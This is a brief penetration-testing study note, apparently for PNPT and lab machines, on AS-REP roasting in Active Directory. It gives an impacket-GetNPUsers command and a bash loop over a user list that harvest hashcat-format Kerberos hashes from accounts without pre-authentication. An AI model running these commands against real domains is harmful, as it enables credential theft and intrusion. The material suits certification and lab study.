> For the complete documentation index, see [llms.txt](https://pnpt.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pnpt.adot8.com/active-directory/initial-attack-strategy/as-rep-roasting.md).

# AS-REP Roasting

Find users using [Kerbrute](/active-directory/initial-attack-strategy/kerbrute.md) first then use that username to see if they need pre auth for a TGT

```bash
impacket-GetNPUsers EGOTISTICAL-BANK.LOCAL/fsmith -dc-ip 10.10.10.175  -format hashcat 
```

<figure><img src="https://152155081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUczSr73L34emqNMDOxDg%2Fuploads%2FEZEQuh9hUz4U0UHTStgF%2Fimage.png?alt=media&amp;token=d18288a2-2fa2-4aa4-937c-1d2e7862a106" alt=""><figcaption></figcaption></figure>

<figure><img src="https://152155081-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FUczSr73L34emqNMDOxDg%2Fuploads%2FB8oswCydEe3o8QbBJitD%2Fimage.png?alt=media&amp;token=c683c269-f55f-46a0-bfe4-3a4fc89a6eee" alt=""><figcaption></figcaption></figure>

One liner to automate using user list

```
for user in $(cat users.txt); do impacket-GetNPUsers megabank.LOCAL/$user -dc-ip 10.10.10.169 -format hashcat; done 
```
